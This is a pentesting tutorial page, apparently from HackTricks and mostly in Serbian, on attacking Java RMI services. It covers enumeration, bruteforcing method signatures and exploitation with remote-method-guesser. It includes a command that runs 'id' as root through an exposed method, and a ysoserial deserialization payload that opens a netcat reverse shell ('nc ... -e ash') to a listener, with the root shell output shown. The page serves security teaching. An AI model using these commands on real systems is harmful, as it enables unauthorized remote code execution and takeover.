1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Basic Information

Java Remote Method Invocation, or Java RMI, je mehanizam RPC orijentisan na objekte koji omogućava objektu smeštenom u jednoj Java virtuelnoj mašini da poziva metode na objektu smeštenom u drugoj Java virtuelnoj mašini. Ovo omogućava programerima da pišu distribuirane aplikacije koristeći objektno-orijentisani paradigm. Kratak uvod u Java RMI iz ofanzivne perspektive može se naći u ovom blackhat predavanju.

Default port: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Obično su samo podrazumevani Java RMI komponenti (RMI Registry i Activation System) vezani za uobičajene portove. Remote objects koji implementiraju stvarnu RMI aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu.

nmap ponekad ima problema sa identifikovanjem SSL zaštićenih RMI usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom RMI portu, trebali biste dalje istražiti.

RMI Komponente

Da to pojednostavimo, Java RMI omogućava programeru da učini Java objekat dostupnim na mreži. Ovo otvara TCP port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje Java RMI treba da reši:

  1. Da bi poslali poziv metode putem Java RMI, klijenti treba da znaju IP adresu, slušajući port, implementiranu klasu ili interfejs i ObjID ciljanog objekta ( ObjID je jedinstveni i nasumični identifikator koji se kreira kada objekat postane dostupan na mreži. Potreban je jer Java RMI omogućava više objekata da slušaju na istom TCP portu).

  2. Daljinski klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. Java virtuelna mašina treba da prati koji od ovih resursa su još u upotrebi i koji od njih mogu biti prikupljeni kao smeće.

Prvi izazov rešava RMI registry, koji je u suštini servis za imenovanje za Java RMI. RMI registry sam po sebi je takođe RMI service, ali su implementirani interfejs i ObjID fiksni i poznati svim RMI klijentima. Ovo omogućava RMI klijentima da koriste RMI registry samo znajući odgovarajući TCP port.

Kada programeri žele da učine svoje Java objekte dostupnim unutar mreže, obično ih vezuju za RMI registry. Registry čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, slušajući port, implementirana klasa ili interfejs i ObjID vrednost) i čini ih dostupnim pod ljudski čitljivim imenom ( bound name). Klijenti koji žele da koriste RMI service traže od RMI registry odgovarajuće bound name i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnom DNS uslugom. Sledeći spisak prikazuje mali primer:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Drugi od gore pomenutih izazova rešava Distributed Garbage Collector (DGC). Ovo je još jedna RMI usluga sa poznatom ObjID vrednošću i dostupna je na praktično svakoj RMI tački. Kada RMI klijent počne da koristi RMI uslugu, šalje informaciju DGC-u da je odgovarajući daleki objekat u upotrebi. DGC može pratiti broj referenci i sposobna je da očisti neiskorišćene objekte.

Zajedno sa zastarelim Activation System, ovo su tri podrazumevana komponenta Java RMI:

  1. RMI Registry (ObjID = 0)

  2. Activation System (ObjID = 1)

  3. Distributed Garbage Collector (ObjID = 2)

Podrazumevane komponente Java RMI su poznati vektori napada već neko vreme i više ranjivosti postoje u zastarelim verzijama Java. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene RMI usluge. Da biste pozvali metodu na dalekom objektu, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da se komunicira sa RMI uslugom.

RMI Enumeration

remote-method-guesser je Java RMI skener ranjivosti koji je sposoban da automatski identifikuje uobičajene RMI ranjivosti. Kada god identifikujete RMI tačku, trebali biste to isprobati:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Izlaz akcije enumeracije je objašnjen detaljnije na stranicama dokumentacije projekta. U zavisnosti od ishoda, trebali biste pokušati da verifikujete identifikovane ranjivosti.

Vrednosti ObjID koje prikazuje remote-method-guesser mogu se koristiti za određivanje vremena rada usluge. Ovo može omogućiti identifikaciju drugih ranjivosti:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

Čak i kada nisu identifikovane ranjivosti tokom enumeracije, dostupne RMI usluge mogu i dalje izložiti opasne funkcije. Štaviše, iako je RMI komunikacija sa RMI podrazumevanim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim RMI uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na RMI uslugama je stoga dragoceno.

Nažalost, Java RMI ne podržava enumeraciju metoda na daljinskim objektima. Ipak, moguće je bruteforcovati potpise metoda pomoću alata kao što su remote-method-guesser ili rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Identifikovane metode se mogu pozvati na sledeći način:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ili možete izvesti napade deserializacije na sledeći način:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Više informacija možete pronaći u ovim člancima:

Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili GitHub-u za interfejs ili čak implementaciju susretnutog RMI servisa. Bound name i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde.

Poznati interfejsi

remote-method-guesser označava klase ili interfejse kao poznate ako su navedene u internom bazi podataka alata o poznatim RMI uslugama. U tim slučajevima možete koristiti poznatu akciju da dobijete više informacija o odgovarajućoj RMI usluzi:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Alati

Reference

HackTricks Automatske Komande

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane od strane najnaprednijih alata zajednice. Pribavite pristup danas:

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Last updated